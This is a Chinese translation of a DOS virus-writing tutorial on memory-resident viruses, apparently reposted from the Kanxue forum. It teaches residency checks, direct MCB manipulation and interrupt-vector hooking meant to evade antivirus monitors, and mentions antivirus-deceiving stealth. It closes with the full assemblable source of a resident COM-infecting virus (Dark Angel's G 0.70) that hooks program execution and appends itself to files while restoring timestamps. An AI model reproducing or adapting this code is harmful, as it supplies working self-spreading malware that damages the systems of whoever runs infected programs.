Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒

看雪資料發表於2015-11-15

【更多的酷病毒:駐留記憶體病毒(RESIDENT viruses)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    如果你已經讀到這裡,而且你還活著,那你將會從這裡走向光明:)
    下面開始有趣的東西給你讀,讓我寫了。

%什麼是駐留記憶體程式?%
~~~~~~~~~~~~~~~~~~~~~~
    好了,首先我給你介紹的是相反的情況:)
    當我們執行一個非駐留記憶體程式(如edit之類的普通程式)時,DOS會給它分配確定的記憶體,但是這段記憶體在程式終止的時候將會被重新分配(利用INT 20h,或者INT 21h如著名的4Ch)。
    而一個駐留記憶體程式執行的時候和一般的程式一樣,但是它在程式終止的時候將會留一段程式在記憶體中,不會被重新分配。駐留記憶體程式(也叫TSR = Terminate and Stay Resident ) ,通常會代替某些中斷,寫上它自己的程式碼,來執行它們設計的任務。TSR程式有什麼用途呢?我們可以用來破解(偷取口令),編我們自己酷工具...當然所有這些取決於你的想象力啦。當然,我也沒忘記...編寫駐留記憶體程式:)

%一個TSR病毒將會做什麼?%
~~~~~~~~~~~~~~~~~~~~~~~~
    TSR並不是呼叫駐留在記憶體中的病毒的最好的方法。假如你正在執行某個程式,並且它返回到DOS。不,我們不能終止它和保持駐留記憶體。使用者將會注意到有些不對勁。我們必須返回和保持駐留記憶體:) TSR僅僅是一個縮寫(不要用錯了,我必須加上這一點)。駐留記憶體病毒能提供給我們一個新世界。我們可以編寫出能感染更多程式的病毒,更安全...當檢測到有企圖開啟/讀檔案的操作我們可以給檔案防毒(想象一下,查防毒工具將會什麼也發現不了),我們可以hook查防毒工具所要使用的函式來欺騙它們,我們可以減去病毒的大小以逃過外行的眼睛(當然也包括專家的啦)。

;--------從這兒開始剪下----------------------------------------------------
; 這個程式將會檢測它是不是已經在記憶體中了,如果已經在記憶體中了,它將會給我們提
; 示資訊。如果沒有,它將會駐留到記憶體中,並顯示另外一個資訊。

       .model  tiny
       .code
  org  100h

start:
  jmp  fuck

newint21:
  cmp  ax,0ACDCh    ; Are user caliing our function?
  je  is_check    ; If yes, answer the call
  jmp  dword ptr cs:[oldint21] ; Else jump to original int 21

is_check:
  mov  ax,0DEADh    ; We answer it
  iret        ; And make an interrupt return :)

oldint21  label dword
int21_off dw  0000h
int21_seg dw  0000h

fuck:
  mov  ax,0ACDCh    ; Residence check
  int  21h      ; Invented function, of course ;)
  cmp  ax,0DEADh    ; Are we here?
  je  stupid_yes    ; If yes, show message 2

  mov  ax,3521h    ; If not, we go and install
  int  21h      ; Function for get INT 21h vectors
  mov  word ptr cs:[int21_off],bx ; We store offset at oldint21+0
  mov  word ptr cs:[int21_seg],es ; We store segment at oldint21+2

  mov  ax,2521h    ; Function for put new int 21 handler
  mov  dx,offset newint21  ; where is it located
  int  21h

  mov  ax,0900h    ; Show message 1
  mov  dx,offset msg_installed
  int  21h

  mov  dx,offset fuck+1  ; Make resident from offset 0 until
  int  27h      ; offset in dx using int 27h
          ; This will also terminate program<g>

stupid_yes:
  mov  ax,0900h    ; Show message 2
  mov  dx,offset msg_already
  int  21h
  int  20h      ; Terminate program.

msg_installed db "Stupid Resident not installed. Installing...$"
msg_already   db "Stupid Resident is alive and kicking your ass!$"

end   start

;-----到這兒為止剪下-----------------------------------------------------

     這個小例子不能被用來編寫一個病毒...為什麼呢?INT 27h,當把一個程式放到記憶體中後,就會終止當前的程式。把程式碼放到記憶體中,利用INT 20h或其它任何方法來終止當前程式的執行也是一樣。
     那麼...我們該利用什麼來編寫一個病毒呢?

%TSR病毒演算法%

     我們可以按如下步驟(模仿在病毒編寫中很好...):

1.檢查程式是否已經駐留記憶體(是,跳到5;否,繼續)
2.開闢我們所需要的記憶體
3.複製病毒主體到記憶體中
4.獲得中斷向量,儲存它們並用我們的代替
5.恢復目標檔案
6.返回控制權

%駐留記憶體檢測%
~~~~~~~~~~~~~~
    當我們編寫一個駐留記憶體程式時,我們必須至少檢查一次看看我們的程式是否已被安裝了。通常,它是一個創造函式,當我們呼叫它,這個函式給我們返回一個確定的值(當然是我們選擇的了)或者如果它沒有駐留記憶體,它使AL=00。
    讓我們看一個例子:

  mov  ax,0B0B0h
  int  21h
  cmp  ax,0CACAh
  je  already_installed
  [...]

    如果它已經駐留記憶體了,我們就恢復感染的檔案,並把控制權返回給原來的程式。如果沒有駐留記憶體,我們就把它駐留記憶體。INT 21h 對病毒的處理將會如下:

 int21handler:
  cmp  ax,0B0B0h
  je  install_check
  [...]

  db  0EAh
 oldint21:
  dw  0,0

 install_check:
  mov  ax,0CACAh
  iret

%分配記憶體修改MCB%
~~~~~~~~~~~~~~~~~
    開闢記憶體用得最多的就是MCB(Memory Control Block)。有兩個方法來達到這個目的:使用DOS和直接實現。看到每種方法都這麼痛苦,讓我們看看什麼是MCB。
    記憶體控制模組(MCB)是由DOS建立的每個程式使用的控制塊。這個模組的長度是一段(16位元組),它總是在分配記憶體之前分配。啊!個數總能被16整除。如果是一個COM檔案,我們可以利用程式的程式碼段減1(CS-1)得到MCB的位置,如果是EXE檔案,則利用DS(記住,在EXE檔案中,CS<>DS)。你可以在結構體一章檢視MCB的結構(在上一章我們已經看過了)。
    使用DOS修改MCB:
    在我寫的第一個病毒Antichrist Superstar中,我使用的方法簡單而有效。首先,我們請求DOS對所有的記憶體(BX=FFFFh)使用INT 21h的4Ah功能,這是一個很難達到的值。透過這個功能,我們將會看到我們申請了太多的記憶體,所以,在BX中我們將會得到我們所能使用的所有記憶體。所以我們把這個值減去病毒程式碼的長度的段數(((size+15)/16)+1)然後再次呼叫4Ah功能。現在該是把自由記憶體減去我們想要的記憶體數的時候了。我們可以利用"sub word ptr ds:[2],(size+15)/16+1",然後利用BX中的以段為基數的程式碼長度,呼叫DOS的48h功能。這個將會把開闢的塊的段返回到AX中,所以我們把它放到ES中,把AX減1,並把新值賦給DS。現在我們在DS中得到了MCB,所以我們該操作它了。我們必須賦給DS:[0]位元組"Z"或者"M"(依賴於你的需要,參閱MCB結構),在DS:[1]裡是字0008,為了告訴DOS這個塊是它自己的,然後它不會覆蓋它。

     Arf,Arf...在這麼一大段理論之後,一些程式碼將是多麼好啊。下面的程式碼將會按你的需要配置MCB:

  mov  ax,4A00h    ; Here we request for an impossible
  mov  bx,0FFFFh    ; amount of free memory
  int  21h

  mov  ax,4A00h    ; And we substract the virus size in
  sub  bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
  int  21h      ; ( in BX ) and request for space.

  mov  ax,4800h    ; Now we make DOS substract 2 da free
  sub  word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
  mov  bx,(virus_size+15)/16  ; paragraphs
  int  21h

  mov  es,ax      ; In AX we get the segment of our
  dec  ax      ; memory block ( doesn't care if EXE
  mov  ds,ax      ; or COM ), we put in ES, and in DS
          ; ( substracted by 1 )
  mov  byte ptr ds:[0],"Z"     ; We mark it as last block
  mov  word ptr ds:[1],08h  ; We say DOS the block is of its own

     相當簡單而有效...然而,這僅僅是操作記憶體,它不能把你的程式碼移到記憶體中去。這非常簡單,但是我們將會在後面看到。
  
     直接修改MCB:

    這種方法方式基本上差不多,但是達到我們不得的方法不同。使得這種方法更好的原因是利用這種方法:一個TSR病毒查殺監視程式不會知道任何記憶體操作因為我們沒有使用任何中斷:)
    我們所做的第一件事是把DS賦給AX(因為我們利用段不能做任何事),我們把它減1,然後再把它賦給DS。現在DS指向MCB。如果你還記得MCB的結構,在偏移地址3處,我們將會得到當前記憶體的段數。所以我們需要把這個值減去我們打算使用的記憶體數。我們將要使用BX(為什麼不?)如果我們看一下過去的介紹,我們將會記起MCB在PSP的上面16位元組處。所有的PSP偏移地址要向後移16(10h)位元組。我們需要改變TOM的值,在PSP的偏移地址2處,但是現在我們不會指向PSP,我們要指向MCB。我們能做的是什麼呢?我們使用偏移地址12h(2+16=18=12h),而不使用偏移地址2。我們把它減去所需記憶體的節數(記住,病毒的大小+15除以16)。這個偏移地址的新值是我們程式的新段,並且我們在一個新段中要使用它。我們打算使用附加段(ES)。但是我們可以對ES和這個位置(也就是段操作的限制)進行mov操作。我們必須要使用一個暫時的暫存器(temporal rigister)。AX最好不過了。現在我們標誌ES:[0] "Z"(在我們把DS作為段暫存器處理之前),ES:[1]  8。
     介紹完這些總是煩人的理論之後,下面是程式碼:

  mov  ax,ds      ; DS = PSP
  dec  ax      ; We use AX as temporal register
  mov  ds,ax      ; DS = MCB

  mov  bx,word ptr ds:[03h]  ; We put in BX the amount of memory
  sub  bx,((virus_size+15)/16)+1 ; and then we put in BX for change
  mov  word ptr ds:[03h],bx  ; We put it in its original place

  mov  byte ptr ds:[0],"M"     ; Mark as not last block

  sub  word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
          ; to TOM size
  mov  ax,word ptr ds:[12h]  ; Now offset 12h handles the new seg.
  mov  es,ax      ; And we need AX for put it in ES

  mov  byte ptr es:[0],"Z"     ; Mark as last block
  mov  word ptr es:[1],0008h  ; Mark DOS as owner

%把病毒放到記憶體中%
~~~~~~~~~~~~~~~~~~
    在駐留記憶體病毒的編寫中,這是最簡單的。如果你知道我們使用MOVSB這個指令(當然還有MOVSW,MOVSD...)能做什麼,那你就知道由多簡單了。而我們必須做的是確定移動什麼和移動多少資料。這相當簡單,可以想象,要移動的資料的開始總是等於偏移地址的變化量,假如我們已經把偏移地址的變化量賦給BP,我們所要做的所有事情就是把BP的內容賦給SI,並把病毒的大小以位元組的形式賦給CX(或者如果我們想用MOVSW就以字的形式)。記住DI必須為0,使用xor di,di就足夠了(一種使指令mov di,0的最佳化方法)。讓我們來看程式碼...

  push  cs      ; Adjust segments
  pop  ds      ; CS = DS

  xor  di,di      ; DI = 0 ( Top Of Memory )
  mov  si,bp      ; SI = offset virus_start
  mov  cx,virus_size    ; CX = virus_size
  rep  movsb      ; Move bytes from DS:SI to ES:DI

%鉤住中斷(Hooking interrupts)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    在把我們的病毒移入記憶體之後,我們需要修改它使得至少能感染其它檔案。在所有的駐留記憶體病毒中,通常是INT 21h,但是在一個啟動扇區病毒(或者分成多部分還感染軟盤和MBR的病毒)中,我們還必須鉤住INT 13h。我們要鉤住的中斷取決於我們的需要。有兩種鉤住中斷的方法:使用DOS或者檢測鉤子。在編寫我們的處理程式時我們必須強調一些東西:

    首先,我們必須在開始處理程式之前使用壓棧來儲存所有的暫存器的值(標誌也要儲存),而且在我們要把控制權返回給原先程式的時候,要把它們所有都出棧。

    其次,我們必須記住我們永遠不要使用那些已經被我們鉤住了的中斷,否則我們將會陷入無限迴圈。讓我們想象一下我們已經鉤住了INT 21h的3Dh功能(開啟檔案),我們呼叫這個鉤住的功能(或者另外一個我們自己的中斷處理程式)...計算機將會掛機了。為此,我們應該按照如下方法假呼叫INT 21h:

 CallINT21h:
  pushf
  call  dword ptr cs:[oldint21]
  iret

    我們還能做另外一件事情。我們能夠重定向另外一箇中斷,使它指向舊的INT 21h。一個好的選擇看上去是INT 03h:它是一個好的反除錯的花招,使得我們的程式碼更小(INT 03h的編碼是CCh,只有一個位元組,而普通的中斷的編碼為CDh XX,XX是我們中斷號的十六進位制數),而且我們忘記了呼叫被鉤住的功能的所有問題。當我們要把控制權交給原先的INT 21h的時候,最好恢復所有的被鉤住的被重定向到INT 21h的中斷。

    利用DOS鉤住中斷:
     
    我們必須在放入我們自己的向量之前獲得原先中斷的向量。這個可以利用INT 21h 的35h功能來實現。讓我們來看一下這個功能的引數:

 AH=35h
 AL=中斷號

    呼叫之後,它將會返回如下值:
AX=Preserved
ES=Interrupt Handler Segment
BX=Interrupt Handler Offset

    呼叫這個功能之後,我們把ES:BX儲存到我們的程式碼的一個變數裡,以備後用,並設定一個新的中斷處理控制程式碼。我們必須使用的功能是INT 21h的25h。下面給出引數:

 AH = 25h
 AL = Interrupt Number
 DS = New Handler Segment
 DX = New Handler Offset

    讓我們看看透過使用DOS來實現中斷鉤子的例子:

  push  cs      ; Adjust segments
  pop  ds      ; CS = DS

  mov  ax,3521h    ; Get interrupt vector function
  int  21h

  mov  word ptr [int21_off],bx ; Now store variables
  mov  word ptr [int21_seg],es

  mov  ah,25h      ; Put new interrupt
  lea  dx,offset int21handler  ; Offset to new handler
  int  21h
  [...]

 oldint21  label dword
 int21_off  dw 0000h
 int21_seg  dw 0000h

    直接中斷鉤子:

    如果我們忘記了DOS,我們將贏得我曾經提過的東西(在直接MCB修改中)。你還記得中斷向量表的結構嗎?它在0000:0000處開始,到0000:0400h處為止。這裡有我們所能使用的所有中斷,從INT 00h到INT FFh。讓我們看看一些程式碼:

  xor  ax,ax      ; Make zero AX
  mov  ds,ax      ; For make zero DS ( now AX=DS=0 )
  push  ds      ; We nned to restore DS later

  lds  dx,ds:[21h*4]    ; All interrupts are in int number*4
  mov  word ptr es:int21_off,dx ; Where save offset
  mov  word ptr es:int21_seg,ds ;   "     "  segment

  pop  ds      ; Restore DS
  mov  word ptr ds:[21h*4],offset int21handler ; The new handler
  mov  word ptr ds:[21h*4+2],es

%關於駐留記憶體的最後的討論%

    這並不是這篇教程的最後,我們還要討論很多病毒呢,所有這些話題將在接下來的討論中見到,但是我認為你現在應該知道怎麼編寫駐留記憶體病毒了。從現在起到最後的所有討論都是有關於TSR病毒的。當然了,如果我說有些是執行期病毒的話,不要尖叫呦!:)
    在結束這一課的時候,我必須給出一個完整的駐留記憶體病毒。這裡我還要使用G病毒,它是一個很蹩腳的感染COM的病毒。

;-------從這裡開始剪下----------------------------------------------------
; 這段程式碼註釋得和執行期病毒一樣好。我希望到這裡後所有得問題都很清楚了。
; Virus generated by G 0.70
; 作者 Dark Angel 屬於Phalcon/Skism
; 彙編:TASM /m3 lame.asm
; 連線: Tlink /t lame.obj

checkres1  =  ':)'
checkres2  =  ';)'

  .model  tiny
  .code

  org  0000h

start:
  mov  bp, sp
  int  0003h
next:
  mov  bp, ss:[bp-6]
  sub  bp, offset next   ; Get delta offset

  push  ds
  push  es

  mov  ax, checkres1    ; Installation check
  int  0021h
  cmp  ax, checkres2    ; Already installed?
  jz  done_install

  mov  ax, ds
  dec  ax
  mov  ds, ax

  sub  word ptr ds:[0003h], (endheap-start+15)/16+1
  sub  word ptr ds:[0012h], (endheap-start+15)/16+1
  mov  ax, ds:[0012h]
  mov  ds, ax
  inc  ax
  mov  es, ax
  mov  byte ptr ds:[0000h], 'Z'
  mov  word ptr ds:[0001h], 0008h
  mov  word ptr ds:[0003h], (endheap-start+15)/16

  push  cs
  pop  ds
  xor  di, di
  mov  cx, (heap-start)/2+1  ; Bytes to move
  mov  si, bp      ; lea  si,[bp+offset start]
  rep  movsw

  xor  ax, ax
  mov  ds, ax
  push  ds
  lds  ax, ds:[21h*4]    ; Get old int handler
  mov  word ptr es:oldint21, ax
  mov  word ptr es:oldint21+2, ds
  pop  ds
  mov  word ptr ds:[21h*4], offset int21 ; Replace with new handler
  mov  ds:[21h*4+2], es  ; in high memory

done_install:
  pop  ds
  pop  es
restore_COM:
  mov  di, 0100h    ; Where to move data
  push  di      ; In what offset will the ret go
  lea  si, [bp+offset old3]  ; What to move
  movsb        ; Move 3 bytes
  movsw
  ret        ; Return to 100h

old3    db  0cdh,20h,0

int21:
  push  ax
  push  bx
  push  cx
  push  dx
  push  si
  push  di
  push  ds
  push  es

  cmp  ax, 4B00h    ; execute?
  jz  execute
return:
  jmp  exitint21
execute:
  mov  word ptr cs:filename, dx
  mov  word ptr cs:filename+2, ds

  mov  ax, 4300h    ; Get attributes for later restore
  lds  dx, cs:filename
  int  0021h
  jc  return
  push  cx
  push  ds
  push  dx

  mov  ax, 4301h    ; clear file attributes
  push  ax      ; save for later use
  xor  cx, cx
  int  0021h

  lds  dx, cs:filename   ; Open file for read/write
  mov  ax, 3D02h
  int  0021h
  xchg  ax, bx

  push  cs      ; Adjust segments
  pop  ds

  push  cs
  pop  es      ; CS=ES=DS

  mov  ax, 5700h    ; get file time/date
  int  0021h
  push  cx
  push  dx

  mov  cx, 001Ah    ; Read 1Ah bytes of file
  mov  dx, offset readbuffer
  mov  ah, 003Fh
  int  0021h

  mov  ax, 4202h    ; Move file pointer to the end
  xor  dx, dx
  xor  cx, cx
  int  0021h

  cmp  word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
  jz  jmp_close
  mov  cx, word ptr [offset readbuffer+1] ; jmp location
  add  cx, heap-start+3  ; convert to filesize
  cmp  ax, cx      ; equal if already infected
  jl  skipp
jmp_close:
  jmp  close
skipp:

  cmp  ax, 65535-(endheap-start) ; check if too large
  ja  jmp_close    ; Exit if so

  mov  di, offset old3   ; Restore 3 first bytes
  mov  si, offset readbuffer
  movsb
  movsw

  sub  ax, 0003h
  mov  word ptr [offset readbuffer+1], ax
  mov  dl, 00E9h
  mov  byte ptr [offset readbuffer], dl
  mov  dx, offset start
  mov  cx, heap-start
  mov  ah, 0040h    ; concatenate virus
  int  0021h

  xor  cx, cx
  xor  dx, dx
  mov  ax, 4200h    ; Move pointer to the beginning
  int  0021h


  mov  dx, offset readbuffer  ; Write first 3 bytes
  mov  cx, 0003h
  mov  ah, 0040h
  int  0021h


close:
  mov  ax, 5701h    ; restore file time/date
  pop  dx
  pop  cx
  int  0021h

  mov  ah, 003Eh    ; Close file
  int  0021h

  pop  ax      ; restore file attributes
  pop  dx      ; get filename and
  pop  ds
  pop  cx      ; attributes from stack
  int  0021h

exitint21:
  pop  es
  pop  ds
  pop  di
  pop  si
  pop  dx
  pop  cx
  pop  bx
  pop  ax

  db  00EAh      ; return to original handler
oldint21  dd  ?

signature  db  '[PS/G]',0

heap:
filename  dd  ?
readbuffer  db  1ah dup (?)
endheap:
  end  start
;-------到這裡為止剪下----------------------------------------------------

    對不住了,我知道我實在是太懶了。你也可以認為這是一種懶惰的態度,可能就是吧。但是隻要想想在寫這篇教程的時候我正在編寫一些病毒和為DDT雜誌寫文章,所以我就沒有足夠的時間來為這篇教程寫我自己的病毒了。嗨,沒有人因為這篇文章給我報酬,你知道嗎?:)

相關文章